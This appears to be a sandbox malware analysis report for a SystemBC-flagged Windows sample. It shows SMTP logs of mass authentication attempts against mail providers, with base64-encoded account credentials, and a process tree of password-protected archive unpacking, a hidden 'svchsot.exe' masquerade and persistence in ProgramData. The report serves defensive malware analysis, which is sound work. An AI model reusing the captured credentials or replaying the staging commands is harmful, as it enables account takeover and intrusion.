May 19, 2024 17:27:56.626240015 CEST	587	49994	65.20.63.172	192.168.2.4	250-altprdrgo06.altice.prod.cloud.openwave.ai 250-DSN 250-8BITMIME 250-AUTH=LOGIN 250-AUTH LOGIN PLAIN 250-STARTTLS 250-DELIVERBY 300 250 SIZE 104857600
May 19, 2024 17:27:56.683058977 CEST	587	50011	164.90.203.106	192.168.2.4	250 Ok
May 19, 2024 17:27:56.688463926 CEST	587	50073	41.193.157.227	192.168.2.4	250-smtp.vox.co.za Hello mail.absamail.co.za [208.252.80.51] 250-SIZE 41943040 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-CHUNKING 250-STARTTLS 250-SMTPUTF8 250 HELP
May 19, 2024 17:27:56.745059967 CEST	587	50080	212.85.98.214	192.168.2.4	250-cloudserver000722.home.pl 250-PIPELINING 250-SIZE 157286400 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:56.845504045 CEST	587	50097	64.91.253.60	192.168.2.4	220-host.chesternet.com ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 16:27:56 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:57.246180058 CEST	50082	587	192.168.2.4	52.62.236.135	EHLO smtp.iinet.net.au
May 19, 2024 17:27:57.297524929 CEST	587	50091	2.207.150.234	192.168.2.4	220 smtp.vodafone.de ESMTP RS-CLMSA
May 19, 2024 17:27:57.463900089 CEST	50054	587	192.168.2.4	84.116.6.22	STARTTLS
May 19, 2024 17:27:57.464158058 CEST	50056	587	192.168.2.4	87.248.97.31	STARTTLS
May 19, 2024 17:27:57.517971992 CEST	587	49997	66.133.129.10	192.168.2.4	221 2.7.0 Error: I can break rules, too. Goodbye.
May 19, 2024 17:27:57.558063030 CEST	50042	587	192.168.2.4	168.0.132.203	STARTTLS
May 19, 2024 17:27:57.558275938 CEST	50084	587	192.168.2.4	168.0.132.203	EHLO smtp.ig.com.br
May 19, 2024 17:27:57.598083973 CEST	587	50082	52.62.236.135	192.168.2.4	250-cmr-kakadu03.i-0fcc5e98d3fe28add Hello smtp.iinet.net.au [208.252.80.51] 250-SIZE 83886080 250-8BITMIME 250-DSN 250-PIPELINING 250-PIPECONNECT 250-AUTH LOGIN PLAIN 250-CHUNKING 250-STARTTLS 250 HELP
May 19, 2024 17:27:57.661473036 CEST	587	50056	87.248.97.31	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:57.673077106 CEST	587	50054	84.116.6.22	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:57.698296070 CEST	50063	587	192.168.2.4	38.111.141.32	STARTTLS
May 19, 2024 17:27:57.809355974 CEST	587	50042	168.0.132.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:57.809361935 CEST	587	50084	168.0.132.203	192.168.2.4	250-smtp1.smtp.skymail.prv 250-PIPELINING 250-SIZE 52428800 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:57.809777021 CEST	50064	587	192.168.2.4	168.0.132.203	STARTTLS
May 19, 2024 17:27:57.809863091 CEST	50038	587	192.168.2.4	124.156.190.79	STARTTLS
May 19, 2024 17:27:57.809977055 CEST	50070	587	192.168.2.4	194.152.32.10	EHLO mail.inbox.lv
May 19, 2024 17:27:57.809977055 CEST	50066	587	192.168.2.4	162.241.203.50	STARTTLS
May 19, 2024 17:27:57.812478065 CEST	587	50063	38.111.141.32	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:57.913743973 CEST	50086	587	192.168.2.4	41.193.157.227	EHLO mail.absamail.co.za
May 19, 2024 17:27:57.913805962 CEST	50089	587	192.168.2.4	41.193.157.227	EHLO mail.absamail.co.za
May 19, 2024 17:27:57.914053917 CEST	50059	587	192.168.2.4	84.2.43.67	STARTTLS
May 19, 2024 17:27:57.935317039 CEST	587	50066	162.241.203.50	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:58.030343056 CEST	587	50070	194.152.32.10	192.168.2.4	250-mail.inbox.lv relay for customers 250-SIZE 59900000 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 STARTTLS
May 19, 2024 17:27:58.077022076 CEST	587	50007	164.90.197.79	192.168.2.4	471 Internal error, retry later
May 19, 2024 17:27:58.077034950 CEST	587	50064	168.0.132.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:58.127176046 CEST	587	50059	84.2.43.67	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:58.127401114 CEST	50074	587	192.168.2.4	103.13.28.93	EHLO smtp.jhoman.co.th
May 19, 2024 17:27:58.137243032 CEST	587	50038	124.156.190.79	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:58.186554909 CEST	587	50115	81.7.169.213	192.168.2.4	220 SMTP.DKA.mailcore.net MailCore SMTP Server ready
May 19, 2024 17:27:58.253019094 CEST	587	50089	41.193.157.227	192.168.2.4	250-smtp.vox.co.za Hello mail.absamail.co.za [208.252.80.51] 250-SIZE 41943040 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-CHUNKING 250-STARTTLS 250-SMTPUTF8 250 HELP
May 19, 2024 17:27:58.291970015 CEST	587	50086	41.193.157.227	192.168.2.4	250-smtp.vox.co.za Hello mail.absamail.co.za [208.252.80.51] 250-SIZE 41943040 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-CHUNKING 250-STARTTLS 250-SMTPUTF8 250 HELP
May 19, 2024 17:27:58.325356007 CEST	49994	587	192.168.2.4	65.20.63.172	STARTTLS
May 19, 2024 17:27:58.427038908 CEST	50073	587	192.168.2.4	41.193.157.227	STARTTLS
May 19, 2024 17:27:58.427090883 CEST	50080	587	192.168.2.4	212.85.98.214	STARTTLS
May 19, 2024 17:27:58.427490950 CEST	50097	587	192.168.2.4	64.91.253.60	EHLO out.co.uk
May 19, 2024 17:27:58.433197975 CEST	587	50007	164.90.197.79	192.168.2.4	500 Internal error
May 19, 2024 17:27:58.453119993 CEST	587	49994	65.20.63.172	192.168.2.4	220 begin TLS negotiation
May 19, 2024 17:27:58.495285034 CEST	587	50120	66.133.129.50	192.168.2.4	220 relay03.roch.ny.frontiernet.net ESMTP Postfix
May 19, 2024 17:27:58.495381117 CEST	587	50074	103.13.28.93	192.168.2.4	250-bkk.thaizone.com. Hello smtp.jhoman.co.th (208.252.80.51) 250-AUTH LOGIN PLAIN 250-ETRN 250-STARTTLS 250-X-ID 6d6572637572792e746861697a6f6e652e636f6d31373139303833353036 250 HELP
May 19, 2024 17:27:58.573030949 CEST	587	50097	64.91.253.60	192.168.2.4	250-host.chesternet.com Hello out.co.uk [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
May 19, 2024 17:27:58.596211910 CEST	587	50121	168.0.132.203	192.168.2.4	220 smtp5.smtp.skymail.prv ESMTP
May 19, 2024 17:27:58.634021997 CEST	50091	587	192.168.2.4	2.207.150.234	EHLO smtp.vodafone.de
May 19, 2024 17:27:58.641702890 CEST	587	50011	164.90.203.106	192.168.2.4	502 Error: command not recognized
May 19, 2024 17:27:58.652580976 CEST	587	50080	212.85.98.214	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:58.778163910 CEST	587	50073	41.193.157.227	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:58.837666035 CEST	587	50091	2.207.150.234	192.168.2.4	250-smtp.vodafone.de 250-PIPELINING 250-SIZE 33554432 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 CHUNKING
May 19, 2024 17:27:59.022171021 CEST	50082	587	192.168.2.4	52.62.236.135	STARTTLS
May 19, 2024 17:27:59.073251963 CEST	587	50119	177.11.54.185	192.168.2.4	220 host.dsp-loki.com ESMTP Exim 4.97.1 Sun, 19 May 2024 12:27:58 -0300
May 19, 2024 17:27:59.305669069 CEST	50084	587	192.168.2.4	168.0.132.203	STARTTLS
May 19, 2024 17:27:59.374989986 CEST	587	50082	52.62.236.135	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:59.593475103 CEST	587	50084	168.0.132.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:59.593893051 CEST	50070	587	192.168.2.4	194.152.32.10	STARTTLS
May 19, 2024 17:27:59.685233116 CEST	587	50124	103.226.222.162	192.168.2.4	220-cp-wc68.per01.ds.network ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 23:27:59 +0800 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:59.685240984 CEST	587	50128	81.7.169.213	192.168.2.4	220 SMTP.DKA.mailcore.net MailCore SMTP Server ready
May 19, 2024 17:27:59.758924007 CEST	587	50127	74.125.133.16	192.168.2.4	220 smtp.googlemail.com ESMTP ffacd0b85a97d-3502baad0absm26850110f8f.69 - gsmtp
May 19, 2024 17:27:59.813877106 CEST	587	50070	194.152.32.10	192.168.2.4	220 2.0.0 Start TLS
May 19, 2024 17:27:59.826193094 CEST	587	50133	62.149.128.200	192.168.2.4	220 smtpdh18.ad.aruba.it Aruba Outgoing Smtp ESMTP server ready
May 19, 2024 17:27:59.826714993 CEST	50115	587	192.168.2.4	81.7.169.213	EHLO mail.hot.ee
May 19, 2024 17:27:59.931334019 CEST	50089	587	192.168.2.4	41.193.157.227	STARTTLS
May 19, 2024 17:27:59.935982943 CEST	50086	587	192.168.2.4	41.193.157.227	STARTTLS
May 19, 2024 17:27:59.994527102 CEST	587	50131	195.32.69.33	192.168.2.4	220 smtp2.micso.it ESMTP
May 19, 2024 17:28:00.015633106 CEST	587	50115	81.7.169.213	192.168.2.4	250-SMTP.DKA.mailcore.net 250-PIPELINING 250-SIZE 31457280 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:28:00.156017065 CEST	49866	587	192.168.2.4	64.136.52.44	QUIT
May 19, 2024 17:28:00.156562090 CEST	50074	587	192.168.2.4	103.13.28.93	STARTTLS
May 19, 2024 17:28:00.156647921 CEST	50120	587	192.168.2.4	66.133.129.50	EHLO smtp.frontier.com
May 19, 2024 17:28:00.262773037 CEST	50097	587	192.168.2.4	64.91.253.60	STARTTLS
May 19, 2024 17:28:00.262856007 CEST	50121	587	192.168.2.4	168.0.132.203	EHLO smtp.ig.com.br
May 19, 2024 17:28:00.276881933 CEST	587	50120	66.133.129.50	192.168.2.4	250-relay03.roch.ny.frontiernet.net 250-PIPELINING 250-SIZE 36350634 250-ETRN 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:28:00.297771931 CEST	587	50089	41.193.157.227	192.168.2.4	220 TLS go ahead
May 19, 2024 17:28:00.297799110 CEST	587	50086	41.193.157.227	192.168.2.4	220 TLS go ahead
May 19, 2024 17:28:00.323117018 CEST	587	50135	194.181.93.175	192.168.2.4	220 op13 Welcome to the @Mail SMTP Server ( Exim )
May 19, 2024 17:28:00.381592989 CEST	50011	587	192.168.2.4	164.90.203.106	AUTH PLAIN AGF0cm9yaWVvcml4b3VAZmluYWxqdWRnZXdlYnNpdGUuY29tADcyeDdiYnNuc3A=
May 19, 2024 17:28:00.406459093 CEST	587	50097	64.91.253.60	192.168.2.4	220 TLS go ahead
May 19, 2024 17:28:00.494502068 CEST	50091	587	192.168.2.4	2.207.150.234	STARTTLS
May 19, 2024 17:28:00.499811888 CEST	587	50121	168.0.132.203	192.168.2.4	250-smtp5.smtp.skymail.prv 250-PIPELINING 250-SIZE 52428800 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:28:00.524324894 CEST	587	50074	103.13.28.93	192.168.2.4	220 go ahead, begin SSL/TLS negotiation
May 19, 2024 17:28:00.570880890 CEST	50119	587	192.168.2.4	177.11.54.185	EHLO digitalcm.com.br
May 19, 2024 17:28:00.593549967 CEST	587	50011	164.90.203.106	192.168.2.4	503 Error: nested Auth command
May 19, 2024 17:28:00.658488989 CEST	587	49866	64.136.52.44	192.168.2.4	535 smtpout01.vgs.untd.com Authentication failed 221 smtpout01.vgs.untd.com Closing connection
May 19, 2024 17:28:00.698501110 CEST	587	50091	2.207.150.234	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:28:00.814896107 CEST	587	50119	177.11.54.185	192.168.2.4	550 Bad HELO - Host impersonating domain name [digitalcm.com.br]
May 19, 2024 17:28:00.855068922 CEST	587	50143	193.122.131.100	192.168.2.4	220 2.0.0 smtp.cogeco.ca ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:28:00 -0400
May 19, 2024 17:28:00.855101109 CEST	587	50067	65.20.63.172	192.168.2.4	250-altprdrgo03.altice.prod.cloud.openwave.ai 250-DSN 250-8BITMIME 250-AUTH=LOGIN 250-AUTH LOGIN PLAIN 250-STARTTLS 250-DELIVERBY 300 250 SIZE 104857600
May 19, 2024 17:28:01.025227070 CEST	587	49909	64.136.52.44	192.168.2.4	535 smtpout02.vgs.untd.com Authentication failed
May 19, 2024 17:28:01.040532112 CEST	49909	587	192.168.2.4	64.136.52.44	QUIT
May 19, 2024 17:28:01.058073997 CEST	587	50146	81.7.169.194	192.168.2.4	220 SMTP.DKA.mailcore.net MailCore SMTP Server ready
May 19, 2024 17:28:01.073298931 CEST	587	50134	84.116.6.22	192.168.2.4	421 csmtp6-prd-nl1-vmo.edge.unified.services csmtp6-prd-nl1-vmo.edge.unified.services Too many connections (VM410)
May 19, 2024 17:28:01.094441891 CEST	587	50132	212.159.8.240	192.168.2.4	220 avasout-peh-002 smtp smtp-proxy.plus.net
May 19, 2024 17:28:01.213496923 CEST	587	49909	64.136.52.44	192.168.2.4	221 smtpout02.vgs.untd.com Closing connection
May 19, 2024 17:28:01.254502058 CEST	587	50149	162.144.159.205	192.168.2.4	220-oct.octopia.com.ar ESMTP Exim 4.94.2 #2 Sun, 19 May 2024 12:28:00 -0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:28:01.308093071 CEST	50124	587	192.168.2.4	103.226.222.162	EHLO imagecast.com.au
May 19, 2024 17:28:01.312144041 CEST	587	50145	64.90.62.162	192.168.2.4	220 pdx1-sub0-mail-a235.dreamhost.com ESMTP
May 19, 2024 17:28:01.322009087 CEST	587	50153	81.2.195.204	192.168.2.4	220 cmg1.smtp.forpsi.com cmgsmtp ESMTP server ready
May 19, 2024 17:28:01.411279917 CEST	587	50116	64.59.136.142	192.168.2.4	421 shw-obgw-4004a.ext.cloudfilter.net cmsmtp too many sessions from _ipsrc. AUP#CNCT
May 19, 2024 17:28:01.511333942 CEST	50127	587	192.168.2.4	74.125.133.16	EHLO smtp.interprise.com.br
May 19, 2024 17:28:01.613482952 CEST	50115	587	192.168.2.4	81.7.169.213	STARTTLS
May 19, 2024 17:28:01.620934963 CEST	587	50124	103.226.222.162	192.168.2.4	250-cp-wc68.per01.ds.network Hello imagecast.com.au [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:28:01.753711939 CEST	587	50127	74.125.133.16	192.168.2.4	250-smtp.googlemail.com at your service, [208.252.80.51] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-CHUNKING 250 SMTPUTF8
May 19, 2024 17:28:01.809721947 CEST	587	50115	81.7.169.213	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:28:01.870214939 CEST	587	50160	66.199.141.105	192.168.2.4	220-r130.websiteservername.com ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 09:28:01 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:28:02.056344032 CEST	587	50159	41.193.157.227	192.168.2.4	220 smtp.vox.co.za ESMTP Exim 4.93.0.4 Sun, 19 May 2024 17:28:01 +0200
May 19, 2024 17:28:02.151484966 CEST	587	50162	40.99.150.18	192.168.2.4	220 FR3P281CA0143.outlook.office365.com Microsoft ESMTP MAIL Service ready at Sun, 19 May 2024 15:28:01 +0000
May 19, 2024 17:28:03.292506933 CEST	50120	587	192.168.2.4	66.133.129.50	AUTH LOGIN bWNkYW5qQGZyb250aWVyLmNvbQ==
May 19, 2024 17:28:03.293596983 CEST	50121	587	192.168.2.4	168.0.132.203	STARTTLS
May 19, 2024 17:28:03.295351028 CEST	50119	587	192.168.2.4	177.11.54.185	HELO digitalcm.com.br
May 19, 2024 17:28:03.295521021 CEST	50067	587	192.168.2.4	65.20.63.172	STARTTLS
May 19, 2024 17:28:03.295928001 CEST	50132	587	192.168.2.4	212.159.8.240	EHLO smtp.totalise.co.uk
May 19, 2024 17:28:03.297071934 CEST	50153	587	192.168.2.4	81.2.195.204	EHLO smtp.konto.pl
May 19, 2024 17:28:03.408706903 CEST	587	50120	66.133.129.50	192.168.2.4	334 UGFzc3dvcmQ6
May 19, 2024 17:28:03.413908005 CEST	587	50067	65.20.63.172	192.168.2.4	220 begin TLS negotiation
May 19, 2024 17:28:03.490015030 CEST	587	50132	212.159.8.240	192.168.2.4	250-avasout-peh-002 hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 104857600 250-PIPELINING 250-8BITMIME 250 OK
May 19, 2024 17:28:03.503079891 CEST	587	50011	164.90.203.106	192.168.2.4	502 Error: command not recognized
May 19, 2024 17:28:03.522346973 CEST	587	50121	168.0.132.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:28:03.527200937 CEST	587	50119	177.11.54.185	192.168.2.4	550 Bad HELO - Host impersonating domain name [digitalcm.com.br]
May 19, 2024 17:28:03.560214996 CEST	587	50153	81.2.195.204	192.168.2.4	250-cmg1.smtp.forpsi.com hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 107374592 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:28:03.602219105 CEST	50124	587	192.168.2.4	103.226.222.162	STARTTLS
May 19, 2024 17:28:03.744899988 CEST	587	50122	142.93.237.125	192.168.2.4	220 mx.generic-isp.com ESMTP Welcome
May 19, 2024 17:28:03.841049910 CEST	587	50171	65.20.63.172	192.168.2.4	220 altprdrgo02.altice.prod.cloud.openwave.ai ESMTP Service ready
May 19, 2024 17:28:03.841932058 CEST	50127	587	192.168.2.4	74.125.133.16	STARTTLS
May 19, 2024 17:28:03.921875954 CEST	587	50124	103.226.222.162	192.168.2.4	220 TLS go ahead
May 19, 2024 17:28:03.948436975 CEST	587	50176	84.116.6.22	192.168.2.4	220 csmtp1-prd-nl1-vmo.edge.unified.services csmtp1-prd-nl1-vmo.edge.unified.services ESMTP server ready
May 19, 2024 17:28:03.948452950 CEST	587	50177	64.59.136.142	192.168.2.4	220 shw-obgw-4001a.ext.cloudfilter.net cmsmtp ESMTP server ready
May 19, 2024 17:28:03.948739052 CEST	50159	587	192.168.2.4	41.193.157.227	EHLO mail.absamail.co.za
May 19, 2024 17:28:03.953116894 CEST	587	50170	84.116.6.22	192.168.2.4	220 csmtp4-prd-nl1-vmo.edge.unified.services csmtp4-prd-nl1-vmo.edge.unified.services ESMTP server ready
May 19, 2024 17:28:04.026853085 CEST	587	50127	74.125.133.16	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:28:04.260277033 CEST	587	50187	195.130.132.10	192.168.2.4	220 michel.telenet-ops.be bizsmtp ESMTP server ready
May 19, 2024 17:28:04.291646957 CEST	587	50159	41.193.157.227	192.168.2.4	250-smtp.vox.co.za Hello mail.absamail.co.za [208.252.80.51] 250-SIZE 41943040 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-CHUNKING 250-STARTTLS 250-SMTPUTF8 250 HELP
May 19, 2024 17:28:04.385488033 CEST	587	50189	168.0.132.203	192.168.2.4	220 smtp9.smtp.skymail.prv ESMTP
May 19, 2024 17:28:04.777720928 CEST	587	50201	213.209.1.145	192.168.2.4	220 smtp-42.iol.local smtp-42.iol.local ESMTP server ready
May 19, 2024 17:28:04.833188057 CEST	587	50200	168.0.132.203	192.168.2.4	220 smtp6.smtp.skymail.prv ESMTP
May 19, 2024 17:28:05.017057896 CEST	587	50190	84.2.43.67	192.168.2.4	220 smtp.freemail.hu ESMTP
May 19, 2024 17:28:05.928122044 CEST	587	50174	194.152.32.10	192.168.2.4	220 mail.inbox.lv relay for customers ESMTP ready

Target ID:	0
Start time:	11:25:56
Start date:	19/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	2'600'456 bytes
MD5 hash:	CA3B49582EDF9CAB4714A35647907F3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	11:25:58
Start date:	19/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7ec1e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	11:25:58
Start date:	19/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	11:25:59
Start date:	19/05/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff743b30000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:25:59
Start date:	19/05/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p11126109881796147432108526241 -oextracted
Imagebase:	0xc40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:25:59
Start date:	19/05/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0xc40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:25:59
Start date:	19/05/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0xc40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:25:59
Start date:	19/05/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0xc40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000007.00000003.1693065838.00000241422A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:26:00
Start date:	19/05/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "svchsot.exe"
Imagebase:	0x7ff727f60000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:26:00
Start date:	19/05/2024
Path:	C:\Users\user\AppData\Local\Temp\main\svchsot.exe
Wow64 process (32bit):	true
Commandline:	"svchsot.exe"
Imagebase:	0x400000
File size:	16'384 bytes
MD5 hash:	4F01C3D7439DDE153FF0110A26E2A71C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000009.00000000.1694750590.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000009.00000002.1700643243.0000000000642000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:26:00
Start date:	19/05/2024
Path:	C:\ProgramData\iihfve\psdirwa.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\iihfve\psdirwa.exe start2
Imagebase:	0x400000
File size:	16'384 bytes
MD5 hash:	4F01C3D7439DDE153FF0110A26E2A71C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 0000000A.00000000.1702387442.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 0000000A.00000002.2904281557.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: C:\ProgramData\iihfve\psdirwa.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	14%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.7%
Total number of Nodes:	1842
Total number of Limit Nodes:	23

Executed Functions

Function 00405BFC Relevance: 276.8, APIs: 102, Strings: 55, Instructions: 2009stringkeyboardwindowCOMMON

Download Yara Rule

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405C0F

Part of subcall function 00402017: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
Part of subcall function 00402017: CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
Part of subcall function 00402017: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
Part of subcall function 00402017: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
Part of subcall function 00402017: DispatchMessageW.USER32(?), ref: 00402069
Part of subcall function 00402017: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
Part of subcall function 00402017: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

GetVersionExW.KERNEL32(?,?,00000000), ref: 00405C2C
GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405CBB

Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT ref: 0040313F
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT ref: 0040315A
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT ref: 00403162
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT ref: 004031D2

lstrlenW.KERNEL32(?,00000000,00000000), ref: 00405CE6

Part of subcall function 00404D0B: #17.COMCTL32(00000000,?,?), ref: 00404D17
Part of subcall function 00404D0B: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
Part of subcall function 00404D0B: wsprintfW.USER32 ref: 00404DB8

wsprintfW.USER32 ref: 00405D45
_wtol.MSVCRT(-00000002), ref: 00405D7F
??3@YAXPAX@Z.MSVCRT ref: 00405DCE
